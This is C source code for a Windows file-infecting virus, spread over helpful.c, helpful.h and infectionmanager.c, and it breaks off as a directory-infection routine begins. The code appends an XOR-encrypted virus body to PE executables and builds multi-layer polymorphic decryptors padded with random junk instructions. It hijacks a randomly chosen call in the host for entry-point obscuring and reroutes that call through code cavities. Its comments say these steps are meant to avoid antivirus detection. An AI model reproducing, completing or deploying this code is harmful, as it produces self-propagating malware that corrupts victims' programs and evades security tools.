#define REG_EAX         0x00000001
#define REG_ECX         0x00000002
#define REG_EDX         0x00000004
#define REG_EBX         0x00000008
#define REG_ESP         0x00000010
#define REG_EBP         0x00000020
#define REG_ESI         0x00000040
#define REG_EDI         0x00000080
#define REG_ALL         ((~REG_ESP)&0xFF)
#define REG_DEFAULT     REG_EAX         // used if no regs specified

typedef
void __cdecl etg_engine(
                unsigned int   user_param,              // user-parameter
                unsigned int   cmd_avail,               // set of ETG_xxx
                unsigned int   regsrcavail,             // set of REG_xxx
                unsigned int   regdstavail,             // set of REG_xxx
                unsigned int*  osizeptr,                // ptr to generated
bufsize
                unsigned int   ncmds,                   // max number of commands
                unsigned int   bufsize,                 // max size of buffer
                unsigned char*   buf,                     // ptr to output buffer
                unsigned int __cdecl user_random(unsigned int userdata, unsigned
int range)
                );

#endif // __ETG_BIN_HPP__



---------------------------------
---------------------------------
---------------------------------
---------------------------------
```

helpful.c

```
#include "helpful.h"
#include "apis.h"
#include "stdlib.h"

unsigned int GenerateRandomNumber()
{

    int BackupRes=0;
    static int tick=0;

    if(!tick)
    {
        tick=GetTickCountz?GetTickCountz():(randz?randz():0);
        if(srandz&&tick)
            srandz(tick);
    }

    return
randz?((randz()&0xFF)|((randz()&0xFF)<<8)|(randz()&0xFF)<<16)|((randz()&0xFF)<<2
4):0;
}

unsigned int GenerateRandomNumberWithLargeRange(unsigned int start,unsigned int
end)
{
    unsigned int range=0;
    unsigned short high=0;
    unsigned short low=0;
    unsigned int randomN=0;

    if((range = end-start)>0)
    {
        if(range==1)
        {
            if(GenerateRandomNumber()%2)
                return start;
            else
                return start+1;
        }

        high = (range&0xFFFF0000)>>16;
        low  = range&0x0000FFFF;

        randomN = GenerateRandomNumberWithShortRange(0,high)<<16;
        randomN|=GenerateRandomNumberWithShortRange(0,low);
        return (start+randomN);
    }

    return start;
}


unsigned int GenerateRandomNumberWithShortRange(unsigned int start,unsigned int
end)
{
    unsigned short range=0;
    unsigned int randomInt=0;
    unsigned int randomRange=0;

    if((range = end-start)>0)
    {
        if(range==1)
        {
            if(GenerateRandomNumber()%2)
```

```
            return start;
        else
            return start+1;
    }

    randomInt=GenerateRandomNumber();
    randomRange=(randomInt&0x0000FFFF)*range;
    randomRange=randomRange/0x0000FFFF;

    return (start+randomRange);
}

return start;
}

char GenerateRandomCharacter()
{
    int randomInt=0;
    char randomChar=0;

    while(randomInt = GenerateRandomNumber())
    {
        randomChar = (char)(randomInt&0x000000FF);

        if((randomChar>'a'&&randomChar<'z')||(randomChar>'A'&&randomChar<'Z'))
        {
            return randomChar;
        }
    }

    return 'a';
}

unsigned char * RandomDataToBuffer(unsigned char * buffer,int size)
{
    int * intp=NULL;

    for(intp=(int *)buffer;size>=4;intp++,size-=4)
    {
        *intp=GenerateRandomNumber();
    }

    while(size)
    {
        buffer[size]=(char)GenerateRandomNumber();
        size--;
    }

    return buffer;
}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

helpful.h
---------

#ifndef __HELPFUL_H__
#define __HELPFUL_H__

#define ROLDD(a) (((a<<8)&0xFFFFFF00)|(a>>24))

#define MAXRAND 0xFFFEFFFE

char GenerateRandomCharacter();
```

```
unsigned int GenerateRandomNumber();
unsigned int GenerateRandomNumberWithShortRange(unsigned int start,unsigned int
end);
unsigned int GenerateRandomNumberWithLargeRange(unsigned int start,unsigned int
end);
unsigned char * RandomDataToBuffer(unsigned char * buffer,int size);

#endif
```


---

infectionmanager.c

```
#include "infectionmanager.h"
#include "helpful.h"
#include "peManager.h"
#include "CodeGenerator.h"
#include "apis.h"
#include <windows.h>
#include <stdio.h>
#include "disasm.h"

#define MIN_CAVITY_SIZE 500


unsigned int InfectWithVirusBodyEncrypted(
char       * TargetPath,
unsigned int OffsetInTarget,
unsigned int AvailableSizeInTarget,
unsigned char * VirusBody,
unsigned int VirusBodySize,
unsigned int * VirusBodyFromOffsetInTarget,
unsigned int OffsetOfHostEntryOffset)
{

    FILE *           f=NULL;
    IMAGE_DOS_HEADER doshdr;
    IMAGE_NT_HEADERS nthdrs;
    unsigned int     i=0,j=0,k=0;
    unsigned int     presize;
    unsigned int     postsize;
    unsigned char    temp[512];
    unsigned int     Key=0;
    unsigned int     RealEntryPoint=0;
    int              error=0;

    if((AvailableSizeInTarget=(AvailableSizeInTarget-1)&~3)  &&
       VirusBody                                             &&
       VirusBodyFromOffsetInTarget                           &&
       (AvailableSizeInTarget>=(VirusBodySize+8))            &&
       TargetPath                                            &&
       (f=fopenz(TargetPath,"r+b"))                          &&
       freadz(&doshdr,sizeof(IMAGE_DOS_HEADER),1,f)          &&
       (doshdr.e_magic=='MZ'||doshdr.e_magic=='ZM')          &&
       doshdr.e_lfanew                                       &&
       !fseekz(f,doshdr.e_lfanew,SEEK_SET)                   &&
       freadz(&nthdrs,sizeof(IMAGE_NT_HEADERS),1,f)          &&
       nthdrs.Signature==0x00004550                          &&
       nthdrs.OptionalHeader.AddressOfEntryPoint             &&
       !fseekz(f,OffsetInTarget,SEEK_SET))
    {
```

```
if(4>(presize=GenerateRandomNumberWithLargeRange(0,AvailableSizeInTarget-VirusBo
dySize-1)))
        {
            presize=0;
        }
        else
        {
            presize=(presize-1)&~3;
        }

        postsize=AvailableSizeInTarget-presize-VirusBodySize;

        if(postsize<4)
        {
            presize=0;
            postsize=AvailableSizeInTarget-VirusBodySize;
        }

        *VirusBodyFromOffsetInTarget=presize;
        Key=GenerateRandomNumber();

#ifdef _DEBUG
        MessageBoxAz(0,"A","A",0);
#endif

        for(i=0,k=0;i<AvailableSizeInTarget;)
        {
            if(i+512<presize)
            {
                RandomDataToBuffer(temp,512);
                if(!fwritez(temp,512,1,f))
                {
                    error=1;
                    break;
                }
                i+=512;
            }
            else if(i<presize)
            {
                RandomDataToBuffer(temp,presize-i);
                if(!fwritez(temp,presize-i,1,f))
                {
                    error=1;
                    break;
                }
                i=presize;
            }
            else if(i+512<(presize+VirusBodySize))
            {
                for(j=0;j<512;j+=4,k+=4)
                {
                    (*(int*)&temp[j])=(*(int*)&VirusBody[k])^Key;
                }

                if(!fwritez(temp,512,1,f))
                {
                    error=1;
                    break;
                }
                i+=512;
            }
            else if(i<(presize+VirusBodySize))
            {
                for(j=0;k<VirusBodySize;j++,k++)
                {
                    temp[j]=VirusBody[k];
                }
                for(j=0;j<512;j+=4)
```

```
                {
                    (*(int*)&temp[j])^=Key;
                }
                if(!fwritez(temp,presize+VirusBodySize-i,1,f))
                {
                    error=1;
                    break;
                }
                i=presize+VirusBodySize;
            }
            else if(i+512<AvailableSizeInTarget)
            {
                RandomDataToBuffer(temp,512);
                if(!fwritez(temp,512,1,f))
                {
                    error=1;
                    break;
                }
                i+=512;
            }
            else
            {
                RandomDataToBuffer(temp,AvailableSizeInTarget-i);
                if(!fwritez(temp,AvailableSizeInTarget-i,1,f))
                {
                    error=1;
                    break;
                }
                i=AvailableSizeInTarget;
            }

        }

#ifdef _DEBUG
        MessageBoxAz(0,"B","B",0);
#endif
        fseekz(f,OffsetInTarget+presize+OffsetOfHostEntryOffset,SEEK_SET);

        //in the loader we have aligned OffsetOfHostEntryOffset to 4
        RealEntryPoint=nthdrs.OptionalHeader.AddressOfEntryPoint^Key;

        if(!fwritez(&RealEntryPoint,4,1,f))
        {
            error=1;
        }

    }
    else
    {
        error=1;
    }

    if(f)
    {
#ifdef _DEBUG
        MessageBoxAz(0,"File Was Opened For Infection","File Was Opened For
Infection",0);
#endif

        fclosez(f);
    }

    if(!error)
    {
        return Key;
    }

    return 0;
```

```
}


unsigned int InfectSmall
(char * TargetPath,
void * AddrOfVirusBaseVxstart,
int    size,
int    OffsetOfHostEntryOffset,
int    OffsetOfWormBinary,
int    sizeOfWormBinary)
{

    unsigned int OffsetOfDataSection=0;
    unsigned int OffsetOfCodeSection=0;
    unsigned int VirusBodyFromDataSectionStart=0;
    unsigned int AvailableSize=0;
    unsigned int Key=0;
    unsigned int Temp=0;
    tHeaders headers;



    if(OffsetOfDataSection=AddSection
                           (TargetPath,

(AvailableSize=size+GenerateRandomNumberWithLargeRange(0,(1*1024)-1)),
                           SECTION_TYPE_DATA))
    {

#ifdef _DEBUG
        MessageBoxAz(0,"Section for VirusBody added","Section for VirusBody
added",0);
#endif


        Key=InfectWithVirusBodyEncrypted(TargetPath,
                                         OffsetOfDataSection,
                                         AvailableSize,
                                         AddrOfVirusBaseVxstart,
                                         size,
                                         &VirusBodyFromDataSectionStart,
                                         OffsetOfHostEntryOffset);


        if(Key)
        {
            unsigned char * Decryptor=NULL;
            int    DecryptorSize=0;
            unsigned int VirusBodyVA=0;


DecryptorSize=GenerateRandomNumberWithLargeRange(20*1024,(100*1024)-1);

            if(Decryptor=callocz(DecryptorSize,1))
            {
                if(GetHeaders(TargetPath,&headers))
                {

if(VirusBodyVA=OffsetToVA(&headers,OffsetOfDataSection+VirusBodyFromDataSectionS
tart))
                    {

                        if(GenerateSmallDecryptor(
                        Decryptor,
                        DecryptorSize,
                        VirusBodyVA,
                        size,
                        Key))
```

```
                        {

if(OffsetOfCodeSection=AddSection(TargetPath,DecryptorSize,SECTION_TYPE_CODE))
                            {
                                FILE *fTarget;
                                if(GetHeaders(TargetPath,&headers))
                                {

headers.nthdrs.OptionalHeader.AddressOfEntryPoint
                                                =
OffsetToVA(&headers,OffsetOfCodeSection)-headers.nthdrs.OptionalHeader.ImageBase
;


                                if(fTarget=fopenz(TargetPath,"r+b"))
                                {

fseekz(fTarget,OffsetOfCodeSection,SEEK_SET);

if(fwritez(Decryptor,DecryptorSize,1,fTarget))
                                    {
                                        fseekz(fTarget,0x0000003c,SEEK_SET);
                                        if(freadz(&Temp,4,1,fTarget))
                                        {


fseekz(fTarget,Temp+0x28,SEEK_SET);

fwritez(&headers.nthdrs.OptionalHeader.AddressOfEntryPoint,4,1,fTarget);
                                        }
                                    }


                                    fclosez(fTarget);
                                }

                                }

                            }

                        }

                    }

                freez(Decryptor);
            }

        }

    }

    return 0;
}


//This function will redirect the hooked call for EPO to
//a part of the binary not so at end of the binary for
//avoiding fast discarding of the call as suspicious
//hooked. Here we should generate a so realistic code as
//we could.
static unsigned int RedirectEPOCallToNonSuspiciousBrigde(
char * TargetPath,
unsigned int RVACall,
unsigned int RVAVx,
unsigned int CavityRVA,
```

```
unsigned int CavitySize)
{
    void * f=(void*)0;
    unsigned char * CavityCodeBuffer=(void*)0;
    unsigned int blkregs=0;
    unsigned int index=0;
    unsigned int temp=0;
    unsigned int newrelcall;
    tHeaders headers;

    GetHeaders(TargetPath,&headers);

    if(CavitySize < MIN_CAVITY_SIZE)
    {
        return 0;
    }

    newrelcall = CavityRVA-(RVACall+5);

    if(!(CavityCodeBuffer = mallocz(CavitySize)))
    {
        return 0;
    }


#ifdef JOLLYDEBUG
    ////debug
    CavitySize-=3;
    CavityCodeBuffer[index]=0xCC;
    index++;
    CavityCodeBuffer[index]=0x90;
    index++;
    CavityCodeBuffer[index]=0xCC;
    index++;
    ////!debug
#endif

    CavitySize-=5;

/*  blkregs = BLK_ALL;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,REBP,REBP,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_EBP;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,REBX,REBX,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_EBX;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,RESI,RESI,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
```

```
    }
    blkregs = blkregs&NOT_BLK_ESI;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,REDI,REDI,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_EDI;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,REDX,REDX,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_EDX;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,REAX,REAX,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_EAX;
    temp=index;

index+=GenerateOperation(OP_PUSH,REGREG,RECX,RECX,blkregs,&CavityCodeBuffer[inde
x],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs&NOT_BLK_ECX;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,RECX,RECX,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_ECX;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,REAX,REAX,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_EAX;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,REDX,REDX,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
```

```
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_EDX;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,REDI,REDI,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_EDI;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,RESI,RESI,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_ESI;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,REBX,REBX,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_EBX;
    temp=index;

index+=GenerateOperation(OP_POP,REGREG,REBP,REBP,blkregs,&CavityCodeBuffer[index
],CavitySize/15);
    if(temp==index)
    {
        freez(CavityCodeBuffer);
        return 0;
    }
    blkregs = blkregs|BLK_EBP;
*/


index+=GenerateOperation(OP_NOP,REGREG,REAX,REAX,BLK_ALL,&CavityCodeBuffer[index
],CavitySize/2);

    CavityCodeBuffer[index] = 0xE9;
    index++;
    *((int*)&CavityCodeBuffer[index]) = (RVAVx + 5) - (CavityRVA + index + 4);
    index+=4;

    if(!(f=fopenz(TargetPath,"r+b")))
    {
        freez(CavityCodeBuffer);
        return 0;
    }

    fseekz(f,RVAToOffset(&headers,CavityRVA),SEEK_SET);

    if(fwritez(CavityCodeBuffer,1,index,f)!=index)
    {
        fclosez(f);
        freez(CavityCodeBuffer);
        return 0;
```

```
    }

    fseekz(f,RVAToOffset(&headers,RVACall+1),SEEK_SET);

    fwritez(&newrelcall,4,1,f);

    fclosez(f);
    freez(CavityCodeBuffer);

    return 1;
}


static unsigned int FindEPOCall(
char * TargetPath,
tHeaders * headers,
unsigned int * OffsetCall,
unsigned int * VACall,
unsigned int * VADest,
unsigned int * OldCallRelJmp)
{
    void * f=(void*)0;
    IMAGE_SECTION_HEADER FirstSectionHdr;
    unsigned char * SectionContent=(void*)0;
    unsigned char * p=(void*)0;
    unsigned int inslen=0;
    unsigned int validratio;
    unsigned int maxfails=MAX_FAILS_FINDING_CALL;
    unsigned int newmaxratio=VALID_E8_RATIO_MAX;
#ifdef JOLLYDEBUGHOOKEDCALL
    unsigned int nhooked=0;
#endif

    if(GenerateRandomNumber()%2)
    {

validratio=GenerateRandomNumberWithLargeRange(VALID_E8_RATIO_MIN,VALID_E8_RATIO_
MAX);
    }
    else
    {
        validratio=GenerateRandomNumberWithLargeRange(2,8);
    }

    if(!(f=fopenz(TargetPath,"r+b")))
    {
        return 0;
    }

    fseekz(f,headers->doshdr.e_lfanew+sizeof(IMAGE_NT_HEADERS),SEEK_SET);

    if(!freadz(&FirstSectionHdr,sizeof(IMAGE_SECTION_HEADER),1,f))
    {
        fclosez(f);
        return 0;
    }

    SectionContent = mallocz(FirstSectionHdr.SizeOfRawData);

    if(!SectionContent)
    {
        fclosez(f);
        return 0;
    }

    fseekz(f,FirstSectionHdr.PointerToRawData,SEEK_SET);
    if(!freadz(SectionContent,FirstSectionHdr.SizeOfRawData,1,f))
    {
```

```
        fclosez(f);
        freez(SectionContent);
        return 0;
    }

    p = SectionContent;

    while(1)
    {
        inslen=(unsigned int)mlde32(p);
        p+=inslen;

        if(((int)inslen)<=0)
        {
            fclosez(f);
            freez(SectionContent);
            return 0;
        }

        if((unsigned int)p > ((unsigned
int)SectionContent)+FirstSectionHdr.SizeOfRawData-100)
        {
            fclosez(f);
            freez(SectionContent);

            if(maxfails)
            {
                p=SectionContent;

newmaxratio=GenerateRandomNumberWithLargeRange(VALID_E8_RATIO_MIN,newmaxratio);

validratio=GenerateRandomNumberWithLargeRange(VALID_E8_RATIO_MIN,newmaxratio);
                maxfails--;
                continue;
            }

            return 0;
        }

        if(*p==0xE8 && !(GenerateRandomNumber()%validratio))
        {
            *OffsetCall=(unsigned int)p-(unsigned
int)SectionContent+FirstSectionHdr.PointerToRawData;
            *VACall=(unsigned int)p-(unsigned
int)SectionContent+FirstSectionHdr.VirtualAddress+headers->nthdrs.OptionalHeader
.ImageBase;
            *OldCallRelJmp=*((unsigned int*)(p+1));
            *VADest=*VACall+5+*OldCallRelJmp;

#ifdef JOLLYDEBUGHOOKEDCALL
            {
                f=fopenz("c:\\jollydebug.txt","a+b");
                if(f)
                {
                    fwritez(&nhooked,4,1,f);
                    fclosez(f);
                }
            }
#endif
            break;
        }
#ifdef JOLLYDEBUGHOOKEDCALL
        else
        {
            nhooked++;
        }
#endif
```

```
    }

    fclosez(f);
    freez(SectionContent);
    return 1;
}


//it returns VA of the address where is kept the address of a
//imported function in kernel32.
static unsigned int GetKernel32ImportJmpAddrVA(char * TargetPath,tHeaders *
headers)
{
    unsigned int OffsetImports;
    void * f;
    IMAGE_IMPORT_DESCRIPTOR desc;
    unsigned char dllname[8];
    unsigned int temptell=0;

    f = fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    OffsetImports =
RVAToOffset(headers,headers->nthdrs.OptionalHeader.DataDirectory[1].VirtualAddre
ss);
    fseekz(f,OffsetImports,SEEK_SET);

    while(1)
    {
        if(!freadz(&desc,sizeof(IMAGE_IMPORT_DESCRIPTOR),1,f))
        {
            fclosez(f);
            return 0;
        }

        if(!desc.Characteristics)
        {
            fclosez(f);
            return 0;
        }

        temptell=ftellz(f);
        fseekz(f,RVAToOffset(headers,desc.Name),SEEK_SET);
        if(!freadz(dllname,8,1,f))
        {
            fclosez(f);
            return 0;
        }
        fseekz(f,temptell,SEEK_SET);

        if((dllname[0]=='k'||dllname[0]=='K')&&
           (dllname[1]=='e'||dllname[1]=='E')&&
           (dllname[2]=='r'||dllname[2]=='R')&&
           (dllname[3]=='n'||dllname[3]=='N')&&
           (dllname[4]=='e'||dllname[4]=='E')&&
           (dllname[5]=='l'||dllname[5]=='L')&&
           (dllname[6]=='3')                 &&
           (dllname[7]=='2'))
        {
            break;
        }
    }

    //desc = kernel32.dll descriptor
```

```
    fclosez(f);
    return desc.FirstThunk+headers->nthdrs.OptionalHeader.ImageBase;
}


static unsigned int EPOPatchCalls( //see comments at end of this source
char * TargetPath,
tHeaders * headers,
unsigned int VirusEntryRVA,
unsigned int VirusEndOffset,
unsigned int * outRVAcall)
{
    void * f;
    char * TempCode;
    unsigned int VAvx=0;
    unsigned int VAcall=0;
    unsigned int VAdest=0;
    unsigned int OldCallRelJmp=0;
    unsigned int NewCallRelJmp=0;
    unsigned int VirusEndRVA=0;
    unsigned int OffsetCall=0;
    unsigned int RVAcall=0;
    unsigned int i;
    unsigned int TempReg=0;

    if(!FindEPOCall(TargetPath,
                    headers,
                    &OffsetCall,
                    &VAcall,
                    &VAdest,
                    &OldCallRelJmp))
    {
        return 0;
    }

    f=fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    VirusEndRVA=OffsetToRVA(headers,VirusEndOffset);
    RVAcall=VAcall-headers->nthdrs.OptionalHeader.ImageBase;
    VAvx=VirusEntryRVA+headers->nthdrs.OptionalHeader.ImageBase;
    NewCallRelJmp=VirusEndRVA+5-RVAcall-5;

    *outRVAcall=RVAcall;

    TempCode = mallocz(10*1024);

    if(!TempCode)
    {
        fclosez(f);
        return 0;
    }

    i=5;

#ifdef JOLLYDEBUG
    TempCode[i]=0xCC; //int3 debug
    i++;
#endif


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ALL,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));
```

```
    TempCode[i]=0x60; //pushad
    i++;

/*
i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ALL,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0x9c; //pushfd
    i++;*/


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0xff;   //push [import]
    i++;
    TempCode[i]=(unsigned char)0x35;
    i++;
    *((unsigned
int*)&TempCode[i])=GetKernel32ImportJmpAddrVA(TargetPath,headers);
    i+=4;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0x68;     //push VxAddr
    *((unsigned int*)&TempCode[i+1])=VAvx;
    i+=5;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0xC3;     //ret
    i++;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[0]=(unsigned char)0xE9;
    *((unsigned int*)&TempCode[1])=i-5;  //jmp VxExecutionFinished

    while((TempReg=GenerateRandomNumberWithShortRange(0,7))==RESP);

    TempCode[i]=(unsigned char)(0x58+TempReg); //pop reg32
    i++;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));


i+=GenerateOperation(OP_MOV,MEMIMM,VAcall,OldCallRelJmp,BLK_ESP,&TempCode[i],0xF
FFFFFFE);


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ESP,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

/*    TempCode[i]=(unsigned char)0x9d; //popfd
    i++;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ALL,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));
```

```
*/

    TempCode[i]=(unsigned char)0x61; //popad
    i++;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ALL,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0x68; //push HookedCallDestAddr
    *((unsigned int*)&TempCode[i+1])=VAdest;
    i+=5;


i+=GenerateOperation(OP_NOP,REGREG,0,0,BLK_ALL,&TempCode[i],GenerateRandomNumber
WithLargeRange(1,512));

    TempCode[i]=(unsigned char)0xC3; //ret
    i++;

    fseekz(f,VirusEndOffset,SEEK_SET);
    if(!fwritez(TempCode,i,1,f))
    {
        freez(TempCode);
        fclosez(f);
        return 0;
    }

    //patch the call
    fseekz(f,OffsetCall+1,SEEK_SET);
    fwritez(&NewCallRelJmp,4,1,f);

    freez(TempCode);
    fclosez(f);
    return 1;
}


unsigned int InfectEPORawComplex
(char * TargetPath,
unsigned char * vx,
unsigned int size,
unsigned int TrashSize,
unsigned int OffsetOfHostEntryOffset
)
{
    void * f=(void*)0;
    unsigned int OffsetToWrite=0;
    unsigned char * trash=(void*)0;
    unsigned int VirusEntryRVA=0;
    tHeaders headers;
    unsigned int ReturnedSize;
    unsigned int ReturnedSize2;
    unsigned char * ResBuf;
    unsigned char * ResBuf2;
    unsigned int first=0;
    unsigned int i=0;
    unsigned int layers=0;
    unsigned int cavityRVA=0;
    unsigned int cavitySize=0;

    TrashSize+=(GenerateRandomNumberWithLargeRange(10,20)*1024);

    ResBuf = mallocz(size);

    //Get a copy of original virus for encrypt it with a polymorphic
    //decryptor,and set HostEntry of next generation of virus to 0,
    //for EPO support.
```

```
    if(!ResBuf)
    {
        return 0;
    }

    for(i=0;i<size;i++)
    {
        ResBuf[i]=vx[i];
    }

    *((int*)&ResBuf[OffsetOfHostEntryOffset]) = 0;//EPO

    i=0;
    ReturnedSize2=size;

    layers=GenerateRandomNumberWithShortRange(MIN_LAYERS,MAX_LAYERS);

#ifdef CRAZY_MODE
    if(!(GenerateRandomNumber()%CRAZY_MODE_LAYERS_RATIO))
    {

layers=GenerateRandomNumberWithShortRange(CRAZY_MIN_LAYERS,CRAZY_MAX_LAYERS);
    }
#endif

#ifdef JOLLYDEBUGLAYERS

    {
        void * f;
        if(f=fopenz("c:\\jollydebug.txt","a+b"))
        {
            unsigned int namelen=0;
            while(TargetPath[namelen]!=0)
            {
                namelen++;
            }
            fwritez(TargetPath,1,namelen,f);
            fwritez(&layers,4,1,f);
            fclosez(f);
        }
    }

#endif


#ifndef JOLLYDEBUG
    while(i<layers)
#else
    while(i<1)
#endif
    {
        ResBuf2=ResBuf;
        ResBuf=EncryptBuffer(ResBuf,ReturnedSize2,&ReturnedSize);
        freez(ResBuf2);

        if(!ResBuf)
        {
            return 0;
        }

        ResBuf2=ResBuf;
        ResBuf=EncryptBuffer(ResBuf,ReturnedSize,&ReturnedSize2);
        freez(ResBuf2);

        if(!ResBuf)
        {
            return 0;
```

```
        }

        i++;
    }

    vx=ResBuf;
    size=ReturnedSize2;

    if(!(GenerateRandomNumber()%ADD_PRETRASH_RATIO))
    {
        vx=AddSlowPre(vx,size,&size);
    }

    if(!MergeSections(TargetPath,&cavityRVA,&cavitySize))
    {
        freez(vx);
        return 0;
    }

    if(!(OffsetToWrite=ExtendLastSection(TargetPath,size+TrashSize)))
    {
        freez(vx);
        return 0;
    }

    f=fopenz(TargetPath,"r+b");

    if(!f)
    {
        freez(vx);
        return 0;
    }

    fseekz(f,OffsetToWrite,SEEK_SET);
    if(!fwritez(vx,size,1,f))
    {
        freez(vx);
        fclosez(f);
        return 0;
    }

    if(trash=mallocz(TrashSize))
    {
        RandomDataToBuffer(trash,TrashSize);
        fwritez(trash,TrashSize,1,f);
        freez(trash);
    }

    fclosez(f);
    freez(vx);

    GetHeaders(TargetPath,&headers);
    VirusEntryRVA=OffsetToRVA(&headers,OffsetToWrite);

    {
        unsigned int RVAcall;
        unsigned int RVAvx;
        unsigned int retVal;
        RVAvx=OffsetToRVA(&headers,OffsetToWrite+size);

if((retVal=EPOPatchCalls(TargetPath,&headers,VirusEntryRVA,OffsetToWrite+size,&R
VAcall)) && cavitySize)
        {
            if(1 || !(GenerateRandomNumber()%CAVITY_BRIDGE_RATIO))
            {

RedirectEPOCallToNonSuspiciousBrigde(TargetPath,RVAcall,RVAvx,cavityRVA,cavitySi
ze);
```

```
            }
        }

        return retVal;
    }
}



//About EPO in this virus:

//Note the virus will try to get a pointer to a zone of
//kernel32 doing a pop when it takes the control, so
//we should push there a address of kernel before calling
//the virus. For this purpose we will push the address of
//a solved import of kernel32 and pop when the virus finished.
//For this code we need a OffsetAfterVirus in the
//target and the virus should have Host of entry set to zero,
//for EPO support. Then the virus will jump at end of it own
//code,and we will take the control again.

    //jmp VirusExecuted<----------------------------\
    //HookedCallPointHere:                          |
    //pushad                                        |
    //pushfd                                        |
    //push dword ptr [import]                       |
    //jmp vx-------------------->vx execution-------/
    //VirusExecuted:
    //pop eax
    //mov [HookedCallRelAddr],OldRelativeCallValue
    //popfd
    //popad
    //jmp OldAddressOfHookedCall


unsigned int InfectFile
(char* TargetPath,
void * AddrOfVirusBaseVxstart,
int    size,
int    OffsetOfHostEntryOffset,
int    OffsetOfWormBinary,
int    sizeOfWormBinary)
{
    unsigned int TrashSize;

    if(!(GenerateRandomNumber()%10))
    {

TrashSize=GenerateRandomNumberWithShortRange(MIN_TRASH_SIZE,MAX_TRASH_SIZE)*1024
;
    }
    else
    {
        TrashSize=GenerateRandomNumberWithShortRange(10,20)*1024;
    }

#ifdef CRAZY_MODE
    if(!(GenerateRandomNumber()%1000))
    {

TrashSize=GenerateRandomNumberWithShortRange(CRAZY_MIN_SIZE,CRAZY_MAX_SIZE)*1024
;
    }
#endif

    if(!CheckPEForInfection(TargetPath))
    {
        return 0;
```

```
    }

    if(GenerateRandomNumber()%2)
    {
        KillRelocs(TargetPath);
    }

#ifdef COMPLEX_METHOD_ONLY

    return InfectEPORawComplex(
     TargetPath,
     AddrOfVirusBaseVxstart,
     size,
     TrashSize,
     OffsetOfHostEntryOffset);

#else

    if(GenerateRandomNumber()%2)
    {
        return InfectEPORawComplex(
         TargetPath,
         AddrOfVirusBaseVxstart,
         size,
         TrashSize,
         OffsetOfHostEntryOffset);
    }
    else
    {
        return InfectSmall(
          TargetPath,
          AddrOfVirusBaseVxstart,
          size,
          OffsetOfHostEntryOffset,
          OffsetOfWormBinary,
          sizeOfWormBinary);
    }

#endif
}


extern void * hKernel32;

unsigned int InfectDirectory
(char* Path,
void * AddrOfVirusBaseVxstart,
